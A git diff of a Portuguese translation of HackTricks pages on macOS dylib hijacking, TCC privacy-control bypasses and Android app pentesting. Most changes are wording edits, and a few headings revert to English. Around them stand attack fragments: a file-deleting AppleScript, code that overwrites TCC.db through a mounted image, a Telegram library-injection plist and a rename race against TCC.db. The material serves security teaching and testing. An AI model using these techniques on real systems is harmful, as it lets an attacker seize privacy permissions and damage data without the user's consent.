toda aplicação instalada tem um plist chamado "Info.plist" que permite a **atribuição de variáveis ambientais** usando uma chave chamada `LSEnvironmental`. > [!NOTE] -> Desde 2012 **a Apple reduziu drasticamente o poder** do **`DYLD_INSERT_LIBRARIES`**. +> Desde 2012, **a Apple reduziu drasticamente o poder** do **`DYLD_INSERT_LIBRARIES`**. > > Vá para o código e **verifique `src/dyld.cpp`**. Na função **`pruneEnvironmentVariables`** você pode ver que as variáveis **`DYLD_*`** são removidas. > @@ -31,7 +31,7 @@ Essa técnica também pode ser **usada como uma técnica ASEP** já que cada apl > - O software tem permissões (runtime endurecido) sem a permissão [`com.apple.security.cs.allow-dyld-environment-variables`](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_allow-dyld-environment-variables) > - Verifique as **permissões** de um binário com: `codesign -dv --entitlements :- ` > -> Em versões mais atualizadas você pode encontrar essa lógica na segunda parte da função **`configureProcessRestrictions`.** No entanto, o que é executado em versões mais novas são as **verificações iniciais da função** (você pode remover os ifs relacionados ao iOS ou simulação, pois esses não serão usados no macOS). +> Em versões mais atualizadas você pode encontrar essa lógica na segunda parte da função **`configureProcessRestrictions`**. No entanto, o que é executado em versões mais novas são as **verificações iniciais da função** (você pode remover os ifs relacionados ao iOS ou simulação, pois esses não serão usados no macOS). ### Validação de Biblioteca @@ -59,10 +59,10 @@ macos-dyld-hijacking-and-dyld_insert_libraries.md > [!CAUTION] > Lembre-se que **as restrições anteriores de Validação de Biblioteca também se aplicam** para realizar ataques de Dylib hijacking. -Assim como no Windows, no MacOS você também pode **sequestar dylibs** para fazer **aplicativos** **executarem** **código** **arbitrário** (bem, na verdade, de um usuário regular isso pode não ser possível, pois você pode precisar de uma permissão TCC para escrever dentro de um pacote `.app` e sequestrar uma biblioteca).\ -No entanto, a maneira como os aplicativos **MacOS** **carregam** bibliotecas é **mais restrita** do que no Windows. Isso implica que os desenvolvedores de **malware** ainda podem usar essa técnica para **furtividade**, mas a probabilidade de conseguir **abusar disso para escalar privilégios é muito menor**. +Assim como no Windows, no MacOS você também pode **sequestrar dylibs** para fazer **aplicações** **executarem** **código** **arbitrário** (bem, na verdade, de um usuário regular isso pode não ser possível, pois você pode precisar de uma permissão TCC para escrever dentro de um pacote `.app` e sequestrar uma biblioteca).\ +No entanto, a maneira como as aplicações **MacOS** **carregam** bibliotecas é **mais restrita** do que no Windows. Isso implica que os desenvolvedores de **malware** ainda podem usar essa técnica para **furtividade**, mas a probabilidade de conseguir **abusar disso para escalar privilégios é muito menor**. -Primeiro de tudo, é **mais comum** encontrar que os **binários MacOS indicam o caminho completo** para as bibliotecas a serem carregadas. E segundo, **MacOS nunca procura** nas pastas do **$PATH** por bibliotecas. +Primeiro de tudo, é **mais comum** encontrar que **binários MacOS indicam o caminho completo** para as bibliotecas a serem carregadas. E segundo, **MacOS nunca procura** nas pastas do **$PATH** por bibliotecas. A **parte principal** do **código** relacionada a essa funcionalidade está em **`ImageLoader::recursiveLoadLibraries`** em `ImageLoader.cpp`. @@ -73,10 +73,10 @@ Existem **4 comandos de cabeçalho diferentes** que um binário macho pode usar - O comando **`LC_REEXPORT_DYLIB`** faz proxy (ou reexporta) os símbolos de uma biblioteca diferente. - O comando **`LC_LOAD_UPWARD_DYLIB`** é usado quando duas bibliotecas dependem uma da outra (isso é chamado de _dependência ascendente_). -No entanto, existem **2 tipos de sequestro de dylib**: +No entanto, existem **2 tipos de sequestramento de dylib**: -- **Bibliotecas fracas vinculadas ausentes**: Isso significa que o aplicativo tentará carregar uma biblioteca que não existe configurada com **LC_LOAD_WEAK_DYLIB**. Então, **se um atacante colocar um dylib onde se espera que ele seja carregado**. -- O fato de que o link é "fraco" significa que o aplicativo continuará executando mesmo que a biblioteca não seja encontrada. +- **Bibliotecas fracas vinculadas ausentes**: Isso significa que a aplicação tentará carregar uma biblioteca que não existe configurada com **LC_LOAD_WEAK_DYLIB**. Então, **se um atacante colocar um dylib onde se espera que ele seja carregado**. +- O fato de o link ser "fraco" significa que a aplicação continuará em execução mesmo que a biblioteca não seja encontrada. - O **código relacionado** a isso está na função `ImageLoaderMachO::doGetDependentLibraries` de `ImageLoaderMachO.cpp` onde `lib->required` é apenas `false` quando `LC_LOAD_WEAK_DYLIB` é verdadeiro. - **Encontre bibliotecas fracas vinculadas** em binários com (você tem mais tarde um exemplo de como criar bibliotecas de sequestro): - ```bash @@ -100,10 +100,10 @@ compatibility version 1.0.0 > - Quando usado em um executável, **`@loader_path`** é efetivamente o **mesmo** que **`@executable_path`**. > - Quando usado em um **dylib**, **`@loader_path`** fornece o **caminho** para o **dylib**. -A maneira de **escalar privilégios** abusando dessa funcionalidade seria no raro caso de um **aplicativo** sendo executado **por** **root** estar **procurando** alguma **biblioteca em alguma pasta onde o atacante tem permissões de escrita.** +A maneira de **escalar privilégios** abusando dessa funcionalidade seria no raro caso de uma **aplicação** sendo executada **por** **root** estar **procurando** por alguma **biblioteca em alguma pasta onde o atacante tem permissões de escrita.** > [!TIP] -> Um bom **scanner** para encontrar **bibliotecas ausentes** em aplicativos é [**Dylib Hijack Scanner**](https://objective-see.com/products/dhs.html) ou uma [**versão CLI**](https://github.com/pandazheng/DylibHijack).\ +> Um bom **scanner** para encontrar **bibliotecas ausentes** em aplicações é [**Dylib Hijack Scanner**](https://objective-see.com/products/dhs.html) ou uma [**versão CLI**](https://github.com/pandazheng/DylibHijack).\ > Um bom **relatório com detalhes técnicos** sobre essa técnica pode ser encontrado [**aqui**](https://www.virusbulletin.com/virusbulletin/2015/03/dylib-hijacking-os-x). **Exemplo** @@ -119,7 +119,7 @@ macos-dyld-hijacking-and-dyld_insert_libraries.md Do **`man dlopen`**: -- Quando o caminho **não contém um caractere de barra** (ou seja, é apenas um nome de folha), **dlopen() fará a busca**. Se **`$DYLD_LIBRARY_PATH`** foi definido na inicialização, dyld primeiro **procurará nesse diretório**. Em seguida, se o arquivo mach-o chamador ou o executável principal especificarem um **`LC_RPATH`**, então dyld **procurará nesses** diretórios. Em seguida, se o processo for **sem restrições**, dyld procurará no **diretório de trabalho atual**. Por último, para binários antigos, dyld tentará algumas alternativas. Se **`$DYLD_FALLBACK_LIBRARY_PATH`** foi definido na inicialização, dyld procurará nesses diretórios, caso contrário, dyld procurará em **`/usr/local/lib/`** (se o processo for sem restrições), e depois em **`/usr/lib/`** (essa informação foi retirada do **`man dlopen`**). +- Quando o caminho **não contém um caractere de barra** (ou seja, é apenas um nome de folha), **dlopen() fará a busca**. Se **`$DYLD_LIBRARY_PATH`** foi definido na inicialização, dyld primeiro **procurará nesse diretório**. Em seguida, se o arquivo macho chamador ou o executável principal especificarem um **`LC_RPATH`**, então dyld **procurará nesses** diretórios. Em seguida, se o processo for **sem restrições**, dyld procurará no **diretório de trabalho atual**. Por último, para binários antigos, dyld tentará algumas alternativas. Se **`$DYLD_FALLBACK_LIBRARY_PATH`** foi definido na inicialização, dyld procurará nesses diretórios, caso contrário, dyld procurará em **`/usr/local/lib/`** (se o processo for sem restrições), e depois em **`/usr/lib/`** (essa informação foi retirada do **`man dlopen`**). 1. `$DYLD_LIBRARY_PATH` 2. `LC_RPATH` 3. `CWD`(se sem restrições) @@ -143,9 +143,9 @@ Do **`man dlopen`**: > [!CAUTION] > Se um caminho de framework, a maneira de sequestrá-lo seria: > -> - Se o processo for **sem restrições**, abusando do **caminho relativo do CWD** as variáveis de ambiente mencionadas (mesmo que não esteja dito na documentação, se o processo for restrito, as variáveis de ambiente DYLD\_\* são removidas) +> - Se o processo for **sem restrições**, abusando do **caminho relativo do CWD** as variáveis de ambiente mencionadas (mesmo que não esteja dito na documentação, se o processo for restrito, as variáveis de ambiente DYLD_* são removidas) -- Quando o caminho **contém uma barra, mas não é um caminho de framework** (ou seja, um caminho completo ou um caminho parcial para um dylib), dlopen() primeiro procura em (se definido) em **`$DYLD_LIBRARY_PATH`** (com a parte da folha do caminho). Em seguida, dyld **tenta o caminho fornecido** (usando o diretório de trabalho atual para caminhos relativos (mas apenas para processos sem restrições)). Por último, para binários mais antigos, dyld tentará alternativas. Se **`$DYLD_FALLBACK_LIBRARY_PATH`** foi definido na inicialização, dyld procurará nesses diretórios, caso contrário, dyld procurará em **`/usr/local/lib/`** (se o processo for sem restrições), e depois em **`/usr/lib/`**. +- Quando o caminho **contém uma barra, mas não é um caminho de framework** (ou seja, um caminho completo ou um caminho parcial para um dylib), dlopen() primeiro procura em (se definido) **`$DYLD_LIBRARY_PATH`** (com a parte da folha do caminho). Em seguida, dyld **tenta o caminho fornecido** (usando o diretório de trabalho atual para caminhos relativos (mas apenas para processos sem restrições)). Por último, para binários mais antigos, dyld tentará alternativas. Se **`$DYLD_FALLBACK_LIBRARY_PATH`** foi definido na inicialização, dyld procurará nesses diretórios, caso contrário, dyld procurará em **`/usr/local/lib/`** (se o processo for sem restrições), e depois em **`/usr/lib/`**. 1. `$DYLD_LIBRARY_PATH` 2. caminho fornecido (usando o diretório de trabalho atual para caminhos relativos se sem restrições) 3. `$DYLD_FALLBACK_LIBRARY_PATH` @@ -307,7 +307,7 @@ codesign -f -s --option=restrict hello-signed DYLD_INSERT_LIBRARIES=inject.dylib ./hello-signed # Won't work ``` > [!CAUTION] -> Note que mesmo que existam binários assinados com a flag **`0x0(none)`**, eles podem obter a flag **`CS_RESTRICT`** dinamicamente quando executados e, portanto, esta técnica não funcionará neles. +> Note que mesmo que existam binários assinados com as flags **`0x0(none)`**, eles podem obter a flag **`CS_RESTRICT`** dinamicamente quando executados e, portanto, esta técnica não funcionará neles. > > Você pode verificar se um proc tem essa flag com (obtenha [**csops aqui**](https://github.com/axelexic/CSOps)): > diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-bypasses/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-bypasses/README.md index 4ffedf9d2..49407ddce 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-bypasses/README.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-bypasses/README.md @@ -27,7 +27,7 @@ O **atributo estendido `com.apple.macl`** é adicionado ao novo **arquivo** para ### Solicitação TCC por nome arbitrário O atacante pode **criar aplicativos com qualquer nome** (por exemplo, Finder, Google Chrome...) no **`Info.plist`** e fazer com que ele solicite acesso a algum local protegido pelo TCC. O usuário pensará que o aplicativo legítimo é quem está solicitando esse acesso.\ -Além disso, é possível **remover o aplicativo legítimo do Dock e colocar o falso nele**, para que quando o usuário clicar no falso (que pode usar o mesmo ícone), ele possa chamar o legítimo, pedir permissões do TCC e executar um malware, fazendo o usuário acreditar que o aplicativo legítimo solicitou o acesso. +Além disso, é possível **remover o aplicativo legítimo do Dock e colocar o falso nele**, para que quando o usuário clique no falso (que pode usar o mesmo ícone), ele possa chamar o legítimo, pedir permissões do TCC e executar um malware, fazendo o usuário acreditar que o aplicativo legítimo solicitou o acesso.
@@ -66,7 +66,7 @@ Para mais **informações** sobre a exploração para **obter tokens do iCloud** ### kTCCServiceAppleEvents / Automação -Um aplicativo com a permissão **`kTCCServiceAppleEvents`** poderá **controlar outros aplicativos**. Isso significa que ele poderá **abusar das permissões concedidas aos outros aplicativos**. +Um aplicativo com a permissão **`kTCCServiceAppleEvents`** poderá **controlar outros aplicativos**. Isso significa que ele poderá **abusar das permissões concedidas a outros aplicativos**. Para mais informações sobre Apple Scripts, confira: @@ -96,7 +96,7 @@ end tell ```bash osascript iterm.script ``` -#### Sobre o Finder +#### Over Finder Ou se um aplicativo tiver acesso ao Finder, pode ser um script como este: ```applescript @@ -112,7 +112,7 @@ do shell script "rm " & POSIX path of (copyFile as alias) ### CVE-2020–9934 - TCC -O **daemon tccd** do userland estava usando a variável de ambiente **`HOME`** para acessar o banco de dados de usuários do TCC em: **`$HOME/Library/Application Support/com.apple.TCC/TCC.db`** +O **daemon tccd** do espaço do usuário estava usando a variável de ambiente **`HOME`** para acessar o banco de dados de usuários do TCC em: **`$HOME/Library/Application Support/com.apple.TCC/TCC.db`** De acordo com [este post do Stack Exchange](https://stackoverflow.com/questions/135688/setting-environment-variables-on-os-x/3756686#3756686) e porque o daemon TCC está sendo executado via `launchd` dentro do domínio do usuário atual, é possível **controlar todas as variáveis de ambiente** passadas para ele.\ Assim, um **atacante poderia definir a variável de ambiente `$HOME`** em **`launchctl`** para apontar para um **diretório controlado**, **reiniciar** o **daemon TCC**, e então **modificar diretamente o banco de dados TCC** para se conceder **todas as permissões TCC disponíveis** sem nunca solicitar ao usuário final.\ @@ -145,7 +145,7 @@ $> ls ~/Documents ``` ### CVE-2021-30761 - Notas -Notas tinha acesso a locais protegidos pelo TCC, mas quando uma nota é criada, ela é **criada em um local não protegido**. Assim, você poderia pedir para notas copiar um arquivo protegido em uma nota (então em um local não protegido) e depois acessar o arquivo: +Notas tinham acesso a locais protegidos pelo TCC, mas quando uma nota é criada, ela é **criada em um local não protegido**. Assim, você poderia pedir para notas copiarem um arquivo protegido em uma nota (ou seja, em um local não protegido) e então acessar o arquivo:
@@ -157,12 +157,12 @@ Era possível adicionar o atributo de quarentena a "Library", chamar o serviço ### CVE-2023-38571 - Música & TV -**`Music`** tem um recurso interessante: Quando está em execução, ele **importa** os arquivos soltos para **`~/Music/Music/Media.localized/Automatically Add to Music.localized`** na "biblioteca de mídia" do usuário. Além disso, chama algo como: **`rename(a, b);`** onde `a` e `b` são: +**`Music`** tem um recurso interessante: Quando está em execução, ele **importa** os arquivos arrastados para **`~/Music/Music/Media.localized/Automatically Add to Music.localized`** para a "biblioteca de mídia" do usuário. Além disso, chama algo como: **`rename(a, b);`** onde `a` e `b` são: - `a = "~/Music/Music/Media.localized/Automatically Add to Music.localized/myfile.mp3"` - `b = "~/Music/Music/Media.localized/Automatically Add to Music.localized/Not Added.localized/2023-09-25 11.06.28/myfile.mp3` -Esse comportamento **`rename(a, b);`** é vulnerável a uma **Condição de Corrida**, pois é possível colocar dentro da pasta `Automatically Add to Music.localized` um arquivo **TCC.db** falso e então, quando a nova pasta (b) é criada para copiar o arquivo, deletá-lo e apontá-lo para **`~/Library/Application Support/com.apple.TCC`**/. +Esse **`rename(a, b);`** comportamento é vulnerável a uma **Condição de Corrida**, pois é possível colocar dentro da pasta `Automatically Add to Music.localized` um arquivo **TCC.db** falso e então, quando a nova pasta (b) é criada para copiar o arquivo, deletá-lo e apontá-lo para **`~/Library/Application Support/com.apple.TCC`**/. ### SQLITE_SQLLOG_DIR - CVE-2023-32422 @@ -195,7 +195,7 @@ Não é seguro porque precisa **resolver os caminhos antigos e novos separadamen > [!CAUTION] > Então, basicamente, se um processo privilegiado estiver renomeando de uma pasta que você controla, você poderia ganhar um RCE e fazer com que ele acesse um arquivo diferente ou, como neste CVE, abrir o arquivo que o aplicativo privilegiado criou e armazenar um FD. > -> Se o rename acessar uma pasta que você controla, enquanto você tiver modificado o arquivo de origem ou tiver um FD para ele, você muda o arquivo (ou pasta) de destino para apontar para um symlink, assim você pode escrever sempre que quiser. +> Se o renomear acessar uma pasta que você controla, enquanto você tiver modificado o arquivo de origem ou tiver um FD para ele, você muda o arquivo (ou pasta) de destino para apontar para um symlink, assim você pode escrever sempre que quiser. Este foi o ataque no CVE: Por exemplo, para sobrescrever o `TCC.db` do usuário, podemos: @@ -206,7 +206,7 @@ Este foi o ataque no CVE: Por exemplo, para sobrescrever o `TCC.db` do usuário, - capturar o `open()` de `/Users/hacker/tmp/.dat.nosyncXXXX.XXXXXX` (X é aleatório) - aqui também `open()` este arquivo para escrita e segurar o descritor de arquivo - trocar atomicamente `/Users/hacker/tmp` com `/Users/hacker/ourlink` **em um loop** -- fazemos isso para maximizar nossas chances de sucesso, já que a janela de corrida é bem estreita, mas perder a corrida tem desvantagens negligenciáveis +- fazemos isso para maximizar nossas chances de sucesso, já que a janela de corrida é bastante estreita, mas perder a corrida tem desvantagens negligenciáveis - esperar um pouco - testar se tivemos sorte - se não, executar novamente do início @@ -228,9 +228,9 @@ Portanto, se o usuário conseguir reiniciar o TCC com uma variável de ambiente > [!TIP] > Note que a Apple usa a configuração armazenada dentro do perfil do usuário no atributo **`NFSHomeDirectory`** para o **valor de `$HOME`**, então se você comprometer um aplicativo com permissões para modificar este valor (**`kTCCServiceSystemPolicySysAdminFiles`**), você pode **armazenar** esta opção com um bypass do TCC. -### [CVE-2020–9934 - TCC](./#c19b) +### [CVE-2020–9934 - TCC](#c19b) -### [CVE-2020-27937 - Directory Utility](./#cve-2020-27937-directory-utility-1) +### [CVE-2020-27937 - Directory Utility](#cve-2020-27937-directory-utility-1) ### CVE-2021-30970 - Powerdir @@ -250,13 +250,13 @@ Para mais informações, confira o [**relatório original**](https://www.microso ## Por injeção de processo -Existem diferentes técnicas para injetar código dentro de um processo e abusar de suas permissões TCC: +Existem diferentes técnicas para injetar código dentro de um processo e abusar de seus privilégios TCC: {{#ref}} ../../../macos-proces-abuse/ {{#endref}} -Além disso, a injeção de processo mais comum para contornar o TCC encontrada é via **plugins (load library)**.\ +Além disso, a técnica de injeção de processo mais comum para contornar o TCC encontrada é via **plugins (load library)**.\ Plugins são códigos extras geralmente na forma de bibliotecas ou plist, que serão **carregados pelo aplicativo principal** e serão executados sob seu contexto. Portanto, se o aplicativo principal tiver acesso a arquivos restritos pelo TCC (via permissões ou direitos concedidos), o **código personalizado também terá**. ### CVE-2020-27937 - Directory Utility @@ -336,7 +336,7 @@ Executable=/Applications/Firefox.app/Contents/MacOS/firefox ``` -Para mais informações sobre como explorar isso facilmente [**verifique o relatório original**](https://wojciechregula.blog/post/how-to-rob-a-firefox/). +Para mais informações sobre como explorar isso facilmente, [**verifique o relatório original**](https://wojciechregula.blog/post/how-to-rob-a-firefox/). ### CVE-2020-10006 @@ -344,9 +344,9 @@ O binário `/system/Library/Filesystems/acfs.fs/Contents/bin/xsanctl` tinha as p ### CVE-2023-26818 - Telegram -O Telegram tinha as permissões **`com.apple.security.cs.allow-dyld-environment-variables`** e **`com.apple.security.cs.disable-library-validation`**, então era possível abusar disso para **obter acesso às suas permissões** como gravar com a câmera. Você pode [**encontrar o payload na descrição**](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/). +O Telegram tinha as permissões **`com.apple.security.cs.allow-dyld-environment-variables`** e **`com.apple.security.cs.disable-library-validation`**, então era possível abusar disso para **obter acesso às suas permissões**, como gravar com a câmera. Você pode [**encontrar o payload na descrição**](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/). -Note como usar a variável env para carregar uma biblioteca, um **plist personalizado** foi criado para injetar essa biblioteca e **`launchctl`** foi usado para lançá-la: +Note como usar a variável env para carregar uma biblioteca; um **plist personalizado** foi criado para injetar essa biblioteca e **`launchctl`** foi usado para lançá-la: ```xml @@ -382,7 +382,7 @@ launchctl load com.telegram.launcher.plist ### Scripts de Terminal -É bastante comum conceder **Acesso Completo ao Disco (FDA)**, pelo menos em computadores usados por pessoas da área de tecnologia. E é possível invocar scripts **`.terminal`** usando isso. +É bastante comum conceder **Acesso Completo ao Disco (FDA)**, pelo menos em computadores usados por pessoas da tecnologia. E é possível invocar scripts **`.terminal`** usando isso. Scripts **`.terminal`** são arquivos plist como este com o comando a ser executado na chave **`CommandString`**: ```xml @@ -402,7 +402,7 @@ Scripts **`.terminal`** são arquivos plist como este com o comando a ser execut ``` -Um aplicativo poderia escrever um script de terminal em um local como /tmp e lançá-lo com um comando como: +Uma aplicação poderia escrever um script de terminal em um local como /tmp e lançá-lo com um comando como: ```objectivec // Write plist in /tmp/tcc.terminal [...] @@ -413,11 +413,11 @@ task.arguments = @[@"-a", @"/System/Applications/Utilities/Terminal.app", exploit_location]; task.standardOutput = pipe; [task launch]; ``` -## Montando +## By mounting -### CVE-2020-9771 - bypass do TCC do mount_apfs e escalonamento de privilégios +### CVE-2020-9771 - mount_apfs TCC bypass and privilege escalation -**Qualquer usuário** (mesmo os sem privilégios) pode criar e montar um snapshot do Time Machine e **acessar TODOS os arquivos** desse snapshot.\ +**Qualquer usuário** (mesmo os não privilegiados) pode criar e montar um snapshot do Time Machine e **acessar TODOS os arquivos** desse snapshot.\ O **único privilégio** necessário é que o aplicativo usado (como `Terminal`) tenha acesso **Full Disk Access** (FDA) (`kTCCServiceSystemPolicyAllfiles`), que precisa ser concedido por um administrador. ```bash # Create snapshot @@ -463,11 +463,11 @@ os.system("mkdir -p /tmp/mnt/Application\ Support/com.apple.TCC/") os.system("cp /tmp/TCC.db /tmp/mnt/Application\ Support/com.apple.TCC/TCC.db") os.system("hdiutil detach /tmp/mnt 1>/dev/null") ``` -Verifique o **exploit completo** na [**escrita original**](https://theevilbit.github.io/posts/cve-2021-30808/). +Verifique a **exploração completa** na [**escrita original**](https://theevilbit.github.io/posts/cve-2021-30808/). ### CVE-2024-40855 -Como explicado na [escrita original](https://www.kandji.io/blog/macos-audit-story-part2), este CVE abusou do `diskarbitrationd`. +Conforme explicado na [escrita original](https://www.kandji.io/blog/macos-audit-story-part2), este CVE abusou do `diskarbitrationd`. A função `DADiskMountWithArgumentsCommon` do framework público `DiskArbitration` realizava as verificações de segurança. No entanto, é possível contorná-la chamando diretamente o `diskarbitrationd` e, portanto, usar elementos `../` no caminho e symlinks. diff --git a/src/mobile-pentesting/android-app-pentesting/README.md b/src/mobile-pentesting/android-app-pentesting/README.md index b521f6af4..87106d6a4 100644 --- a/src/mobile-pentesting/android-app-pentesting/README.md +++ b/src/mobile-pentesting/android-app-pentesting/README.md @@ -1,4 +1,4 @@ -# Pentesting de Aplicações Android +# Teste de Penetração em Aplicações Android {{#include ../../banners/hacktricks-training.md}} @@ -13,7 +13,7 @@ android-applications-basics.md ## ADB (Android Debug Bridge) Esta é a principal ferramenta que você precisa para se conectar a um dispositivo Android (emulado ou físico).\ -**ADB** permite controlar dispositivos tanto via **USB** quanto **Rede** a partir de um computador. Esta utilidade possibilita a **cópia** de arquivos em ambas as direções, **instalação** e **desinstalação** de aplicativos, **execução** de comandos shell, **backup** de dados, **leitura** de logs, entre outras funções. +**ADB** permite controlar dispositivos tanto via **USB** quanto via **Rede** a partir de um computador. Esta utilidade possibilita a **cópia** de arquivos em ambas as direções, **instalação** e **desinstalação** de aplicativos, **execução** de comandos de shell, **backup** de dados, **leitura** de logs, entre outras funções. Dê uma olhada na lista de [**Comandos ADB**](adb-commands.md) para aprender como usar o adb. @@ -60,23 +60,23 @@ Preste atenção especial às **URLs do firebase** e verifique se está mal conf ### Compreensão básica da aplicação - Manifest.xml, strings.xml -A **examinação dos arquivos \_Manifest.xml**_\*\* e \*\*_**strings.xml**\_\*\* de uma aplicação pode revelar potenciais vulnerabilidades de segurança\*\*. Esses arquivos podem ser acessados usando decompiladores ou renomeando a extensão do arquivo APK para .zip e, em seguida, descompactando-o. +A **examinação dos arquivos \_Manifest.xml**_\*\* e \*\*_**strings.xml**\_\*\* pode revelar potenciais vulnerabilidades de segurança\*\*. Esses arquivos podem ser acessados usando decompiladores ou renomeando a extensão do arquivo APK para .zip e, em seguida, descompactando-o. -**Vulnerabilidades** identificadas no **Manifest.xml** incluem: +**Vulnerabilidades** identificadas a partir do **Manifest.xml** incluem: -- **Aplicações Debugáveis**: Aplicações definidas como debuggable (`debuggable="true"`) no arquivo _Manifest.xml_ representam um risco, pois permitem conexões que podem levar à exploração. Para uma melhor compreensão sobre como explorar aplicações debuggables, consulte um tutorial sobre como encontrar e explorar aplicações debuggables em um dispositivo. +- **Aplicações Debugáveis**: Aplicações configuradas como debuggable (`debuggable="true"`) no arquivo _Manifest.xml_ representam um risco, pois permitem conexões que podem levar à exploração. Para uma melhor compreensão sobre como explorar aplicações debuggable, consulte um tutorial sobre como encontrar e explorar aplicações debuggable em um dispositivo. - **Configurações de Backup**: O atributo `android:allowBackup="false"` deve ser explicitamente definido para aplicações que lidam com informações sensíveis para evitar backups de dados não autorizados via adb, especialmente quando a depuração USB está habilitada. - **Segurança de Rede**: Configurações de segurança de rede personalizadas (`android:networkSecurityConfig="@xml/network_security_config"`) em _res/xml/_ podem especificar detalhes de segurança como pins de certificado e configurações de tráfego HTTP. Um exemplo é permitir tráfego HTTP para domínios específicos. - **Atividades e Serviços Exportados**: Identificar atividades e serviços exportados no manifesto pode destacar componentes que podem ser mal utilizados. Uma análise adicional durante os testes dinâmicos pode revelar como explorar esses componentes. - **Content Providers e FileProviders**: Content providers expostos podem permitir acesso ou modificação não autorizada de dados. A configuração de FileProviders também deve ser analisada. -- **Broadcast Receivers e Esquemas de URL**: Esses componentes podem ser aproveitados para exploração, com atenção especial a como os esquemas de URL são gerenciados para vulnerabilidades de entrada. +- **Broadcast Receivers e URL Schemes**: Esses componentes podem ser aproveitados para exploração, com atenção especial a como os esquemas de URL são gerenciados para vulnerabilidades de entrada. - **Versões do SDK**: Os atributos `minSdkVersion`, `targetSDKVersion` e `maxSdkVersion` indicam as versões do Android suportadas, destacando a importância de não suportar versões do Android desatualizadas e vulneráveis por razões de segurança. -Do arquivo **strings.xml**, informações sensíveis como chaves de API, esquemas personalizados e outras notas de desenvolvedor podem ser descobertas, sublinhando a necessidade de uma revisão cuidadosa desses recursos. +A partir do arquivo **strings.xml**, informações sensíveis como chaves de API, esquemas personalizados e outras notas de desenvolvedor podem ser descobertas, sublinhando a necessidade de uma revisão cuidadosa desses recursos. ### Tapjacking -**Tapjacking** é um ataque onde uma **aplicação maliciosa** é lançada e **se posiciona em cima de uma aplicação vítima**. Uma vez que obscurece visivelmente o app vítima, sua interface de usuário é projetada de tal forma a enganar o usuário para interagir com ela, enquanto passa a interação para o app vítima.\ +**Tapjacking** é um ataque onde uma **aplicação maliciosa** é lançada e **se posiciona em cima de uma aplicação vítima**. Uma vez que obscurece visivelmente o app vítima, sua interface de usuário é projetada de tal forma a enganar o usuário a interagir com ela, enquanto passa a interação para o app vítima.\ Na prática, isso **cega o usuário para saber que ele está realmente realizando ações no app vítima**. Encontre mais informações em: @@ -99,7 +99,7 @@ android-task-hijacking.md **Armazenamento Interno** -No Android, arquivos **armazenados** em **armazenamento interno** são **projetados** para serem **acessíveis** exclusivamente pelo **app** que **os criou**. Essa medida de segurança é **imposta** pelo sistema operacional Android e geralmente é adequada para as necessidades de segurança da maioria das aplicações. No entanto, os desenvolvedores às vezes utilizam modos como `MODE_WORLD_READABLE` e `MODE_WORLD_WRITABLE` para **permitir** que arquivos sejam **compartilhados** entre diferentes aplicações. No entanto, esses modos **não restringem o acesso** a esses arquivos por outras aplicações, incluindo aquelas potencialmente maliciosas. +No Android, arquivos **armazenados** em **armazenamento interno** são **projetados** para serem **acessíveis** exclusivamente pelo **app** que os **criou**. Essa medida de segurança é **imposta** pelo sistema operacional Android e geralmente é adequada para as necessidades de segurança da maioria das aplicações. No entanto, os desenvolvedores às vezes utilizam modos como `MODE_WORLD_READABLE` e `MODE_WORLD_WRITABLE` para **permitir** que arquivos sejam **compartilhados** entre diferentes aplicações. No entanto, esses modos **não restringem o acesso** a esses arquivos por outras aplicações, incluindo aquelas potencialmente maliciosas. 1. **Análise Estática:** - **Assegure-se** de que o uso de `MODE_WORLD_READABLE` e `MODE_WORLD_WRITABLE` seja **cuidadosamente analisado**. Esses modos **podem potencialmente expor** arquivos a **acessos não intencionais ou não autorizados**. @@ -118,12 +118,12 @@ Ao lidar com arquivos em **armazenamento externo**, como cartões SD, certas pre 3. **Manipulação de Dados do Armazenamento Externo**: - Sempre **realize validação de entrada** nos dados recuperados do armazenamento externo. Isso é crucial porque os dados vêm de uma fonte não confiável. - Armazenar executáveis ou arquivos de classe em armazenamento externo para carregamento dinâmico é fortemente desencorajado. -- Se sua aplicação precisar recuperar arquivos executáveis do armazenamento externo, assegure-se de que esses arquivos sejam **assinados e verificados criptograficamente** antes de serem carregados dinamicamente. Este passo é vital para manter a integridade de segurança da sua aplicação. +- Se sua aplicação precisar recuperar arquivos executáveis do armazenamento externo, assegure-se de que esses arquivos sejam **assinados e verificados criptograficamente** antes de serem carregados dinamicamente. Essa etapa é vital para manter a integridade de segurança da sua aplicação. O armazenamento externo pode ser **acessado** em `/storage/emulated/0`, `/sdcard`, `/mnt/sdcard` -> [!NOTA] -> A partir do Android 4.4 (**API 17**), o cartão SD possui uma estrutura de diretório que **limita o acesso de um app à diretório que é especificamente para aquele app**. Isso impede que aplicações maliciosas ganhem acesso de leitura ou gravação aos arquivos de outro app. +> [!NOTE] +> A partir do Android 4.4 (**API 17**), o cartão SD possui uma estrutura de diretório que **limita o acesso de um app ao diretório que é especificamente para aquele app**. Isso impede que aplicações maliciosas ganhem acesso de leitura ou gravação aos arquivos de outro app. **Dados sensíveis armazenados em texto claro** @@ -141,7 +141,7 @@ sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER); ``` Uma boa maneira de testar isso é tentar capturar o tráfego usando algum proxy como Burp sem autorizar o Burp CA dentro do dispositivo. Além disso, você pode gerar com o Burp um certificado para um hostname diferente e usá-lo. -### Criptografia Quebrada +### Quebra de Criptografia **Processos de Gerenciamento de Chaves Ruins** @@ -149,7 +149,7 @@ Alguns desenvolvedores salvam dados sensíveis no armazenamento local e os cript **Uso de Algoritmos Inseguros e/ou Obsoletos** -Os desenvolvedores não devem usar **algoritmos obsoletos** para realizar **verificações de autorização**, **armazenar** ou **enviar** dados. Alguns desses algoritmos são: RC4, MD4, MD5, SHA1... Se **hashes** forem usados para armazenar senhas, por exemplo, hashes resistentes a **força bruta** devem ser usados com sal. +Os desenvolvedores não devem usar **algoritmos obsoletos** para realizar **verificações de autorização**, **armazenar** ou **enviar** dados. Alguns desses algoritmos são: RC4, MD4, MD5, SHA1... Se **hashes** forem usados para armazenar 